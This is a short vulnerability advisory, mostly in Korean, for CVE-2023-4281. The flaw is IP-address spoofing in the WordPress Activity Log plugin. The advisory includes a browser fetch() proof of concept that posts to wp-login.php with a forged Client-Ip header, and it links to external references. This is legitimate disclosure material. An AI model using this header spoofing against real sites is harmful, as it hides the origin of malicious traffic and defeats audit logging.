CVE-2023-4281

CVE ID: CVE-2023-4281

취약점 유형: IP 주소 스푸핑

설명: Activity Log 플러그인은 잠재적으로 신뢰할 수 없는 헤더에서 클라이언트 IP 주소를 가져오므로, 공격자가 해당 값을 조작할 수 있습니다. 이는 악성 트래픽의 출처를 숨기는 데 사용될 수 있습니다.

재현 단계:

Run the following code in the web browser and note on the backend that the IP address has been faked.

await fetch("/wp-login.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
    "Client-Ip": "8.8.8.8",
  },
  "body": "log=USERNAME&pwd=PASSWORD",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});

참조:

1. https://wpscan.com/vulnerability/f5ea6c8a-6b07-4263-a1be-dd033f078d49
2. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4281
3. https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/aryo-activity-log/activity-log-287-ip-address-spoofing